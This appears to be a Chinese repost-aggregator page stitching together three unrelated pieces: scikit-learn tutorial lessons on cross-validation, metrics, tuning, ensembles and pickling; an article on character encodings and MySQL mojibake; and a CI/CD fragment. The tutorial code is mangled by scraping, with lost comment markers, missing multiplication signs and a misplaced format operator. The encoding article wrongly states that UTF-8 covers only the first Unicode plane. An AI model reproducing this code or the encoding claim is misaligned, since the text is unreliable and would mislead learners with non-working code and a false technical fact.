第7课：使用重采样方法进行算法评估用于训练机器学习算法的数据集称为训练数据集。用于训练算法的数据集不能用于为您提供有关新数据的模型准确性的可靠估计。这是一个大问题，因为创建模型的整个思路是对新数据进行预测。您可以使用称为重采样方法的统计方法将训练数据集划分为子集，一些方法用于训练模型，而另一些则被保留，并用于估计看不见的数据的模型准确性。今天课程的目标是练习使用scikit-learn中可用的不同重采样方法，例如：将数据集分为训练集和测试集。使用k倍交叉验证来估计算法的准确性。使用留一法交叉验证来估计算法的准确性。下面的代码段使用scikit-learn通过10倍交叉验证来评估Pima Indians糖尿病发作的Logistic回归算法的准确性。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Evaluate using Cross Validation from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') results = cross_val_score(model, X, Y, cv=kfold) print("Accuracy: %.3f%% (%.3f%%)") % (results.mean()100.0, results.std()100.0) 您获得了什么精度？在评论中让我知道。您是否意识到这是中间点？做得好！第8课：算法评估指标您可以使用许多不同的指标来评估数据集上机器学习算法的技能。您可以通过cross_validation.cross_val_score（）函数在scikit-learn中指定用于测试工具的度量，默认值可用于回归和分类问题。今天课程的目标是练习使用scikit-learn软件包中可用的不同算法性能指标。在分类问题上练习使用“准确性”和“ LogLoss”度量。练习生成混淆矩阵和分类报告。在回归问题上练习使用RMSE和RSquared指标。下面的代码段演示了根据Pima Indians糖尿病发病数据计算LogLoss指标。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Cross Validation Classification LogLoss from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') scoring = 'neg_log_loss' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print("Logloss: %.3f (%.3f)") % (results.mean(), results.std()) 您得到了什么日志损失？在评论中让我知道。第9课：抽查算法您可能无法事先知道哪种算法对您的数据效果最好。您必须使用反复试验的过程来发现它。我称之为现场检查算法。scikit-learn库提供了许多机器学习算法和工具的接口，以比较这些算法的估计准确性。在本课程中，您必须练习抽查不同的机器学习算法。对数据集进行抽查线性算法（例如线性回归，逻辑回归和线性判别分析）。抽查数据集上的一些非线性算法（例如KNN，SVM和CART）。抽查数据集上一些复杂的集成算法（例如随机森林和随机梯度增强）。例如，下面的代码片段对Boston House Price数据集上的K最近邻居算法进行了抽查。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 KNN Regression from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.neighbors import KNeighborsRegressor url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/housing.data" names = ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV'] dataframe = read_csv(url, delim_whitespace=True, names=names) array = dataframe.values X = array[:,0:13] Y = array[:,13] kfold = KFold(n_splits=10, random_state=7) model = KNeighborsRegressor() scoring = 'neg_mean_squared_error' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print(results.mean()) 您得到的平方误差是什么意思？在评论中让我知道。第10课：模型比较和选择既然您知道了如何在数据集中检查机器学习算法，那么您需要知道如何比较不同算法的估计性能并选择最佳模型。在今天的课程中，您将练习比较Python和scikit-learn中的机器学习算法的准确性。在数据集上相互比较线性算法。在数据集上相互比较非线性算法。相互比较同一算法的不同配置。创建比较算法的结果图。下面的示例在皮马印第安人发病的糖尿病数据集中将Logistic回归和线性判别分析进行了比较。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Compare Algorithms from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression from sklearn.discriminant_analysis import LinearDiscriminantAnalysis load dataset url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] prepare models models = [] models.append(('LR', LogisticRegression(solver='liblinear'))) models.append(('LDA', LinearDiscriminantAnalysis())) evaluate each model in turn results = [] names = [] scoring = 'accuracy' for name, model in models: kfold = KFold(n_splits=10, random_state=7) cv_results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) results.append(cv_results) names.append(name) msg = "%s: %f (%f)" % (name, cv_results.mean(), cv_results.std()) print(msg) 哪种算法效果更好？你能做得更好吗？在评论中让我知道。第11课：通过算法调整提高准确性一旦找到一种或两种在数据集上表现良好的算法，您可能希望提高这些模型的性能。提高算法性能的一种方法是将其参数调整为特定的数据集。 scikit-learn库提供了两种方法来搜索机器学习算法的参数组合。在今天的课程中，您的目标是练习每个。使用您指定的网格搜索来调整算法的参数。使用随机搜索调整算法的参数。下面使用的代码段是一个示例，该示例使用网格搜索在Pima Indians糖尿病发病数据集上的Ridge回归算法。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Grid Search for Algorithm Tuning from pandas import read_csv import numpy from sklearn.linear_model import Ridge from sklearn.model_selection import GridSearchCV url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] alphas = numpy.array([1,0.1,0.01,0.001,0.0001,0]) param_grid = dict(alpha=alphas) model = Ridge() grid = GridSearchCV(estimator=model, param_grid=param_grid, cv=3) grid.fit(X, Y) print(grid.best_score_) print(grid.best_estimator_.alpha) 哪些参数取得最佳效果？你能做得更好吗？在评论中让我知道。第12课：利用集合预测提高准确性您可以提高模型性能的另一种方法是组合来自多个模型的预测。一些模型提供了内置的此功能，例如用于装袋的随机森林和用于增强的随机梯度增强。可以使用另一种称为投票的合奏将来自多个不同模型的预测组合在一起。在今天的课程中，您将练习使用合奏方法。使用随机森林和多余树木算法练习装袋。使用梯度增强机和AdaBoost算法练习增强合奏。通过将来自多个模型的预测组合在一起来练习投票合奏。下面的代码段演示了如何在Pima Indians糖尿病发病数据集上使用随机森林算法（袋装决策树集合）。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Random Forest Classification from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.ensemble import RandomForestClassifier url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] num_trees = 100 max_features = 3 kfold = KFold(n_splits=10, random_state=7) model = RandomForestClassifier(n_estimators=num_trees, max_features=max_features) results = cross_val_score(model, X, Y, cv=kfold) print(results.mean()) 你能设计出更好的合奏吗？在评论中让我知道。第13课：完成并保存模型找到有关机器学习问题的良好模型后，您需要完成该模型。在今天的课程中，您将练习与完成模型有关的任务。练习使用模型对新数据（在训练和测试过程中看不到的数据）进行预测。练习将经过训练的模型保存到文件中，然后再次加载。例如，下面的代码片段显示了如何创建Logistic回归模型，将其保存到文件中，之后再加载它以及对看不见的数据进行预测。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Save Model Using Pickle from pandas import read_csv from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression import pickle url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] test_size = 0.33 seed = 7 X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=test_size, random_state=seed) Fit the model on 33% model = LogisticRegression(solver='liblinear') model.fit(X_train, Y_train) save the model to disk filename = 'finalized_model.sav' pickle.dump(model, open(filename, 'wb')) some time later... load the model from disk loaded_model = pickle.load(open(filename, 'rb')) result = loaded_model.score(X_test, Y_test) print(result) 第14课：Hello World端到端项目您现在知道如何完成预测建模机器学习问题的每个任务。在今天的课程中，您需要练习将各个部分组合在一起，并通过端到端的标准机器学习数据集进行操作。端到端遍历虹膜数据集（机器学习的世界）这包括以下步骤：使用描述性统计数据和可视化了解您的数据。预处理数据以最好地揭示问题的结构。使用您自己的测试工具抽查多种算法。使用算法参数调整来改善结果。使用集成方法改善结果。最终确定模型以备将来使用。慢慢进行，并记录结果。您使用什么型号？您得到了什么结果？在评论中让我知道。结束！（看你走了多远）你做到了。做得好！花一点时间，回头看看你已经走了多远。您最初对机器学习感兴趣，并强烈希望能够使用Python练习和应用机器学习。您可能是第一次下载，安装并启动Python，并开始熟悉该语言的语法。在许多课程中，您逐渐地，稳定地学习了预测建模机器学习项目的标准任务如何映射到Python平台上。基于常见机器学习任务的配方，您使用Python端到端解决了第一个机器学习问题。使用标准模板，您所收集的食谱和经验现在可以自行解决新的和不同的预测建模机器学习问题。不要轻描淡写，您在短时间内就取得了长足的进步。这只是您使用Python进行机器学习的起点。继续练习和发展自己的技能。喜欢点下关注，你的关注是我写作的最大支持本篇文章为转载内容。原文链接：https://blog.csdn.net/m0_37337849/article/details/104016531。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-07-11 10:04:06

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[转载]史上最通俗，彻底搞懂字符乱码问题的本质

...1、引言 IM等社交应用的开发工作中，乱码问题也很常见，比如: 1）IM聊天消息中的Emoji表情为什么发给后端后MySQL数据库里会乱码； 2）文件名中带有中文的大文件聊天消息发送后，对方看到的文名是乱码； 3）Http rest接口调用时，后端读取到APP端传过来的参数有中文乱码问题； ... ... 那么，对于乱码这个看似不起眼，但并不是一两话能讲清楚的问题，是很有必要从根源了解字符集和编码原理，知其然知其所以然显然是一个优秀码农的基本素养，所以，便有了本文，希望能帮助到你。推荐阅读：关于字符编码知识的详细讲解请见《字符编码那点事：快速理解ASCII、Unicode、GBK和UTF-8》。学习交流： - 即时通讯/推送技术开发交流5群：215477170 [推荐] - 移动端IM开发入门文章：《新手入门一篇就够：从零开发移动端IM》（本文同步发布于：http://www.52im.net/thread-2868-1-1.html） 2、关于作者卢钧轶：爱捣腾Linux的DBA。曾任职于大众点评网DBA团队，主要关注MySQL、Memcache、MMM等产品的高性能和高可用架构。个人微博：米雪儿侬好的cenalulu Github地址：https://github.com/cenalulu 3、系列文章本文是IM开发干货系列文章中的第21篇，总目录如下：《IM消息送达保证机制实现(一)：保证在线实时消息的可靠投递》《IM消息送达保证机制实现(二)：保证离线消息的可靠投递》《如何保证IM实时消息的“时序性”与“一致性”？》《IM单聊和群聊中的在线状态同步应该用“推”还是“拉”？》《IM群聊消息如此复杂，如何保证不丢不重？》《一种Android端IM智能心跳算法的设计与实现探讨（含样例代码）》《移动端IM登录时拉取数据如何作到省流量？》《通俗易懂：基于集群的移动端IM接入层负载均衡方案分享》《浅谈移动端IM的多点登陆和消息漫游原理》《IM开发基础知识补课(一)：正确理解前置HTTP SSO单点登陆接口的原理》《IM开发基础知识补课(二)：如何设计大量图片文件的服务端存储架构？》《IM开发基础知识补课(三)：快速理解服务端数据库读写分离原理及实践建议》《IM开发基础知识补课(四)：正确理解HTTP短连接中的Cookie、Session和Token》《IM群聊消息的已读回执功能该怎么实现？》《IM群聊消息究竟是存1份(即扩散读)还是存多份(即扩散写)？》《IM开发基础知识补课(五)：通俗易懂，正确理解并用好MQ消息队列》《一个低成本确保IM消息时序的方法探讨》《IM开发基础知识补课(六)：数据库用NoSQL还是SQL？读这篇就够了！》《IM里“附近的人”功能实现原理是什么？如何高效率地实现它？》《IM开发基础知识补课(七)：主流移动端账号登录方式的原理及设计思路》《IM开发基础知识补课(八)：史上最通俗，彻底搞懂字符乱码问题的本质》（本文） 4、正文概述字符集和编码无疑是IT菜鸟甚至是各种大神的头痛问题。当遇到纷繁复杂的字符集，各种火星文和乱码时，问题的定位往往变得非常困难。本文内容就将会从原理方面对字符集和编码做个简单的科普介绍，同时也会介绍一些通用的乱码故障定位的方法以方便读者以后能够更从容的定位相关问题。在正式介绍之前，先做个小申明：如果你希望非常精确的理解各个名词的解释，那么可以详细阅读这篇《字符编码那点事：快速理解ASCII、Unicode、GBK和UTF-8》。本文是博主通过自己理解消化后并转化成易懂浅显的表述后的介绍，会尽量以简单明了的文字来从要源讲解字符集、字符编码的概念，以及在遭遇乱码时的一些常用诊断技巧，希望能助你对于“乱码”问题有更深地理解。 5、什么是字符集在介绍字符集之前，我们先了解下为什么要有字符集。我们在计算机屏幕上看到的是实体化的文字，而在计算机存储介质中存放的实际是二进制的比特流。那么在这两者之间的转换规则就需要一个统一的标准，否则把我们的U盘插到老板的电脑上，文档就乱码了；小伙伴QQ上传过来的文件，在我们本地打开又乱码了。于是为了实现转换标准，各种字符集标准就出现了。简单的说：字符集就规定了某个文字对应的二进制数字存放方式（编码）和某串二进制数值代表了哪个文字（解码）的转换关系。那么为什么会有那么多字符集标准呢？这个问题实际非常容易回答。问问自己为什么我们的插头拿到英国就不能用了呢？为什么显示器同时有DVI、VGA、HDMI、DP这么多接口呢？很多规范和标准在最初制定时并不会意识到这将会是以后全球普适的准则，或者处于组织本身利益就想从本质上区别于现有标准。于是，就产生了那么多具有相同效果但又不相互兼容的标准了。说了那么多我们来看一个实际例子，下面就是“屌”这个字在各种编码下的十六进制和二进制编码结果，怎么样有没有一种很屌的感觉？ 6、什么是字符编码字符集只是一个规则集合的名字，对应到真实生活中，字符集就是对某种语言的称呼。例如：英语，汉语，日语。对于一个字符集来说要正确编码转码一个字符需要三个关键元素： 1）字库表（character repertoire）：是一个相当于所有可读或者可显示字符的数据库，字库表决定了整个字符集能够展现表示的所有字符的范围； 2）编码字符集（coded character set）：即用一个编码值code point来表示一个字符在字库中的位置； 3）字符编码（character encoding form）：将编码字符集和实际存储数值之间的转换关系。一般来说都会直接将code point的值作为编码后的值直接存储。例如在ASCII中“A”在表中排第65位，而编码后A的数值是 0100 0001 也即十进制的65的二进制转换结果。看到这里，可能很多读者都会有和我当初一样的疑问：字库表和编码字符集看来是必不可少的，那既然字库表中的每一个字符都有一个自己的序号，直接把序号作为存储内容就好了。为什么还要多此一举通过字符编码把序号转换成另外一种存储格式呢？其实原因也比较容易理解：统一字库表的目的是为了能够涵盖世界上所有的字符，但实际使用过程中会发现真正用的上的字符相对整个字库表来说比例非常低。例如中文地区的程序几乎不会需要日语字符，而一些英语国家甚至简单的ASCII字库表就能满足基本需求。而如果把每个字符都用字库表中的序号来存储的话，每个字符就需要3个字节（这里以Unicode字库为例），这样对于原本用仅占一个字符的ASCII编码的英语地区国家显然是一个额外成本（存储体积是原来的三倍）。算的直接一些，同样一块硬盘，用ASCII可以存1500篇文章，而用3字节Unicode序号存储只能存500篇。于是就出现了UTF-8这样的变长编码。在UTF-8编码中原本只需要一个字节的ASCII字符，仍然只占一个字节。而像中文及日语这样的复杂字符就需要2个到3个字节来存储。关于字符编码知识的详细讲解请见：《字符编码那点事：快速理解ASCII、Unicode、GBK和UTF-8》。 7、UTF-8和Unicode的关系看完上面两个概念解释，那么解释UTF-8和Unicode的关系就比较简单了。 Unicode就是上文中提到的编码字符集，而UTF-8就是字符编码，即Unicode规则字库的一种实现形式。随着互联网的发展，对同一字库集的要求越来越迫切，Unicode标准也就自然而然的出现。它几乎涵盖了各个国家语言可能出现的符号和文字，并将为他们编号。详见：Unicode百科介绍。 Unicode的编号从 0000 开始一直到10FFFF 共分为17个Plane，每个Plane中有65536个字符。而UTF-8则只实现了第一个Plane，可见UTF-8虽然是一个当今接受度最广的字符集编码，但是它并没有涵盖整个Unicode的字库，这也造成了它在某些场景下对于特殊字符的处理困难（下文会有提到）。 8、UTF-8编码简介为了更好的理解后面的实际应用，我们这里简单的介绍下UTF-8的编码实现方法。即UTF-8的物理存储和Unicode序号的转换关系。 UTF-8编码为变长编码，最小编码单位（code unit）为一个字节。一个字节的前1-3个bit为描述性部分，后面为实际序号部分： 1）如果一个字节的第一位为0，那么代表当前字符为单字节字符，占用一个字节的空间。0之后的所有部分（7个bit）代表在Unicode中的序号； 2）如果一个字节以110开头，那么代表当前字符为双字节字符，占用2个字节的空间。110之后的所有部分（5个bit）加上后一个字节的除10外的部分（6个bit）代表在Unicode中的序号。且第二个字节以10开头； 3）如果一个字节以1110开头，那么代表当前字符为三字节字符，占用3个字节的空间。110之后的所有部分（5个bit）加上后两个字节的除10外的部分（12个bit）代表在Unicode中的序号。且第二、第三个字节以10开头； 4）如果一个字节以10开头，那么代表当前字节为多字节字符的第二个字节。10之后的所有部分（6个bit）和之前的部分一同组成在Unicode中的序号。具体每个字节的特征可见下表，其中“x”代表序号部分，把各个字节中的所有x部分拼接在一起就组成了在Unicode字库中的序号。如下图所示。我们分别看三个从一个字节到三个字节的UTF-8编码例子：细心的读者不难从以上的简单介绍中得出以下规律： 1）3个字节的UTF-8十六进制编码一定是以E开头的； 2）2个字节的UTF-8十六进制编码一定是以C或D开头的； 3）1个字节的UTF-8十六进制编码一定是以比8小的数字开头的。 9、为什么会出现乱码乱码也就是英文常说的mojibake（由日语的文字化け音译）。简单的说乱码的出现是因为：编码和解码时用了不同或者不兼容的字符集。对应到真实生活中：就好比是一个英国人为了表示祝福在纸上写了bless（编码过程）。而一个法国人拿到了这张纸，由于在法语中bless表示受伤的意思，所以认为他想表达的是受伤（解码过程）。这个就是一个现实生活中的乱码情况。在计算机科学中一样：一个用UTF-8编码后的字符，用GBK去解码。由于两个字符集的字库表不一样，同一个汉字在两个字符表的位置也不同，最终就会出现乱码。我们来看一个例子，假设我们用UTF-8编码存储“很屌”两个字，会有如下转换：于是我们得到了E5BE88E5B18C这么一串数值，而显示时我们用GBK解码进行展示，通过查表我们获得以下信息：解码后我们就得到了“寰堝睂”这么一个错误的结果，更要命的是连字符个数都变了。 10、如何识别乱码的本来想要表达的文字要从乱码字符中反解出原来的正确文字需要对各个字符集编码规则有较为深刻的掌握。但是原理很简单，这里用以MySQL数据库中的数据操纵中最常见的UTF-8被错误用GBK展示时的乱码为例，来说明具体反解和识别过程。 10.1 第1步：编码假设我们在页面上看到“寰堝睂”这样的乱码，而又得知我们的浏览器当前使用GBK编码。那么第一步我们就能先通过GBK把乱码编码成二进制表达式。当然查表编码效率很低，我们也可以用以下SQL语句直接通过MySQL客户端来做编码工作： mysql [localhost] {msandbox} > selecthex(convert('寰堝睂'using gbk)); +-------------------------------------+ | hex(convert('寰堝睂'using gbk)) | +-------------------------------------+ | E5BE88E5B18C | +-------------------------------------+ 1 row inset(0.01 sec) 10.2 第2步：识别现在我们得到了解码后的二进制字符串E5BE88E5B18C。然后我们将它按字节拆开。然后套用之前UTF-8编码介绍章节中总结出的规律，就不难发现这6个字节的数据符合UTF-8编码规则。如果整个数据流都符合这个规则的话，我们就能大胆假设乱码之前的编码字符集是UTF-8。 10.3 第3步：解码然后我们就能拿着 E5BE88E5B18C 用UTF-8解码，查看乱码前的文字了。当然我们可以不查表直接通过SQL获得结果： mysql [localhost] {msandbox} ((none)) > selectconvert(0xE5BE88E5B18C using utf8); +------------------------------------+ | convert(0xE5BE88E5B18C using utf8) | +------------------------------------+ | 很屌 | +------------------------------------+ 1 row inset(0.00 sec) 11、常见的IM乱码问题处理之MySQL中的Emoji字符所谓Emoji就是一种在Unicode位于 \u1F601-\u1F64F 区段的字符。这个显然超过了目前常用的UTF-8字符集的编码范围 \u0000-\uFFFF。Emoji表情随着IOS的普及和微信的支持越来越常见。下面就是几个常见的Emoji（IM聊天软件中经常会被用到）：那么Emoji字符表情会对我们平时的开发运维带来什么影响呢？最常见的问题就在于将他存入MySQL数据库的时候。一般来说MySQL数据库的默认字符集都会配置成UTF-8（三字节），而utf8mb4在5.5以后才被支持，也很少会有DBA主动将系统默认字符集改成utf8mb4。那么问题就来了，当我们把一个需要4字节UTF-8编码才能表示的字符存入数据库的时候就会报错：ERROR 1366: Incorrect string value: '\xF0\x9D\x8C\x86' for column 。如果认真阅读了上面的解释，那么这个报错也就不难看懂了：我们试图将一串Bytes插入到一列中，而这串Bytes的第一个字节是 \xF0 意味着这是一个四字节的UTF-8编码。但是当MySQL表和列字符集配置为UTF-8的时候是无法存储这样的字符的，所以报了错。那么遇到这种情况我们如何解决呢？有两种方式： 1）升级MySQL到5.6或更高版本，并且将表字符集切换至utf8mb4； 2）在把内容存入到数据库之前做一次过滤，将Emoji字符替换成一段特殊的文字编码，然后再存入数据库中。之后从数据库获取或者前端展示时再将这段特殊文字编码转换成Emoji显示。第二种方法我们假设用 --1F601-- 来替代4字节的Emoji，那么具体实现python代码可以参见Stackoverflow上的回答。 12、参考文献 [1] 如何配置Python默认字符集 [2] 字符编码那点事：快速理解ASCII、Unicode、GBK和UTF-8 [3] Unicode中文编码表 [4] Emoji Unicode Table [5] Every Developer Should Know About The Encoding 附录：更多IM开发方面的文章 [1] IM开发综合文章：《新手入门一篇就够：从零开发移动端IM》《移动端IM开发者必读(一)：通俗易懂，理解移动网络的“弱”和“慢”》《移动端IM开发者必读(二)：史上最全移动弱网络优化方法总结》《从客户端的角度来谈谈移动端IM的消息可靠性和送达机制》《现代移动端网络短连接的优化手段总结：请求速度、弱网适应、安全保障》《腾讯技术分享：社交网络图片的带宽压缩技术演进之路》《小白必读：闲话HTTP短连接中的Session和Token》《IM开发基础知识补课：正确理解前置HTTP SSO单点登陆接口的原理》《移动端IM开发需要面对的技术问题》《开发IM是自己设计协议用字节流好还是字符流好？》《请问有人知道语音留言聊天的主流实现方式吗？》《一个低成本确保IM消息时序的方法探讨》《完全自已开发的IM该如何设计“失败重试”机制？》《通俗易懂：基于集群的移动端IM接入层负载均衡方案分享》《微信对网络影响的技术试验及分析（论文全文）》《即时通讯系统的原理、技术和应用（技术论文）》《开源IM工程“蘑菇街TeamTalk”的现状：一场有始无终的开源秀》《QQ音乐团队分享：Android中的图片压缩技术详解（上篇）》《QQ音乐团队分享：Android中的图片压缩技术详解（下篇）》《腾讯原创分享(一)：如何大幅提升移动网络下手机QQ的图片传输速度和成功率》《腾讯原创分享(二)：如何大幅压缩移动网络下APP的流量消耗（上篇）》《腾讯原创分享(三)：如何大幅压缩移动网络下APP的流量消耗（下篇）》《如约而至：微信自用的移动端IM网络层跨平台组件库Mars已正式开源》《基于社交网络的Yelp是如何实现海量用户图片的无损压缩的？》《腾讯技术分享：腾讯是如何大幅降低带宽和网络流量的(图片压缩篇)》《腾讯技术分享：腾讯是如何大幅降低带宽和网络流量的(音视频技术篇)》《字符编码那点事：快速理解ASCII、Unicode、GBK和UTF-8》《全面掌握移动端主流图片格式的特点、性能、调优等》《子弹短信光鲜的背后：网易云信首席架构师分享亿级IM平台的技术实践》《微信技术分享：微信的海量IM聊天消息序列号生成实践（算法原理篇）》《自已开发IM有那么难吗？手把手教你自撸一个Andriod版简易IM (有源码)》《融云技术分享：解密融云IM产品的聊天消息ID生成策略》《适合新手：从零开发一个IM服务端（基于Netty，有完整源码）》《拿起键盘就是干：跟我一起徒手开发一套分布式IM系统》 >> 更多同类文章 …… [2] 有关IM架构设计的文章：《浅谈IM系统的架构设计》《简述移动端IM开发的那些坑：架构设计、通信协议和客户端》《一套海量在线用户的移动端IM架构设计实践分享(含详细图文)》《一套原创分布式即时通讯(IM)系统理论架构方案》《从零到卓越：京东客服即时通讯系统的技术架构演进历程》《蘑菇街即时通讯/IM服务器开发之架构选择》《腾讯QQ1.4亿在线用户的技术挑战和架构演进之路PPT》《微信后台基于时间序的海量数据冷热分级架构设计实践》《微信技术总监谈架构：微信之道——大道至简(演讲全文)》《如何解读《微信技术总监谈架构：微信之道——大道至简》》《快速裂变：见证微信强大后台架构从0到1的演进历程（一）》《17年的实践：腾讯海量产品的技术方法论》《移动端IM中大规模群消息的推送如何保证效率、实时性？》《现代IM系统中聊天消息的同步和存储方案探讨》《IM开发基础知识补课(二)：如何设计大量图片文件的服务端存储架构？》《IM开发基础知识补课(三)：快速理解服务端数据库读写分离原理及实践建议》《IM开发基础知识补课(四)：正确理解HTTP短连接中的Cookie、Session和Token》《WhatsApp技术实践分享：32人工程团队创造的技术神话》《微信朋友圈千亿访问量背后的技术挑战和实践总结》《王者荣耀2亿用户量的背后：产品定位、技术架构、网络方案等》《IM系统的MQ消息中间件选型：Kafka还是RabbitMQ？》《腾讯资深架构师干货总结：一文读懂大型分布式系统设计的方方面面》《以微博类应用场景为例，总结海量社交系统的架构设计步骤》《快速理解高性能HTTP服务端的负载均衡技术原理》《子弹短信光鲜的背后：网易云信首席架构师分享亿级IM平台的技术实践》《知乎技术分享：从单机到2000万QPS并发的Redis高性能缓存实践之路》《IM开发基础知识补课(五)：通俗易懂，正确理解并用好MQ消息队列》《微信技术分享：微信的海量IM聊天消息序列号生成实践（算法原理篇）》《微信技术分享：微信的海量IM聊天消息序列号生成实践（容灾方案篇）》《新手入门：零基础理解大型分布式架构的演进历史、技术原理、最佳实践》《一套高可用、易伸缩、高并发的IM群聊、单聊架构方案设计实践》《阿里技术分享：深度揭秘阿里数据库技术方案的10年变迁史》《阿里技术分享：阿里自研金融级数据库OceanBase的艰辛成长之路》《社交软件红包技术解密(一)：全面解密QQ红包技术方案——架构、技术实现等》《社交软件红包技术解密(二)：解密微信摇一摇红包从0到1的技术演进》《社交软件红包技术解密(三)：微信摇一摇红包雨背后的技术细节》《社交软件红包技术解密(四)：微信红包系统是如何应对高并发的》《社交软件红包技术解密(五)：微信红包系统是如何实现高可用性的》《社交软件红包技术解密(六)：微信红包系统的存储层架构演进实践》《社交软件红包技术解密(七)：支付宝红包的海量高并发技术实践》《社交软件红包技术解密(八)：全面解密微博红包技术方案》《社交软件红包技术解密(九)：谈谈手Q红包的功能逻辑、容灾、运维、架构等》《即时通讯新手入门：一文读懂什么是Nginx？它能否实现IM的负载均衡？》《即时通讯新手入门：快速理解RPC技术——基本概念、原理和用途》《多维度对比5款主流分布式MQ消息队列，妈妈再也不担心我的技术选型了》《从游击队到正规军(一)：马蜂窝旅游网的IM系统架构演进之路》《从游击队到正规军(二)：马蜂窝旅游网的IM客户端架构演进和实践总结》《IM开发基础知识补课(六)：数据库用NoSQL还是SQL？读这篇就够了！》《瓜子IM智能客服系统的数据架构设计（整理自现场演讲，有配套PPT）》《阿里钉钉技术分享：企业级IM王者——钉钉在后端架构上的过人之处》 >> 更多同类文章 …… （本文同步发布于：http://www.52im.net/thread-2868-1-1.html）本篇文章为转载内容。原文链接：https://blog.csdn.net/hellojackjiang2011/article/details/103586305。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2024-04-29 12:29:21

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...自动化测试，确保业务应用和服务能符合预期好处持续交付和持续集成的好处非常相似：快速发布。能够应对业务需求，并更快地实现软件价值编码→测试→上线→交付的频繁迭代周期缩短，同时获得迅速反馈高质量的软件发布标准。整个交付过程标准化、可重复、可靠整个交付过程进度可视化，方便团队人员了解项目完成度更先进的团队协作方式。从需求分析、产品的用户体验到交互、设计、开发、测试、运维等角色密切协作，相比于传统的瀑布式软件团队，更少浪费持续部署简述持续部署意味着：通过自动化部署的手段将软件功能频繁的进行交付持续部署是持续交付的下一步，指的是代码通过审批以后，自动化部署到生产环境。持续部署是持续交付的最高阶段，这意味着，所有通过了一系列的自动化测试的改动都将自动部署到生产环境。它也可以被称为“Continuous Release” 持续化部署的目标是：代码在任何时候都是可部署的，可以进入生产阶段。持续部署的前提是能自动化完成测试、构建、部署等步骤注：持续交付不等于持续集成与持续交付以及持续集成相比，持续部署强调了通过 automated deployment 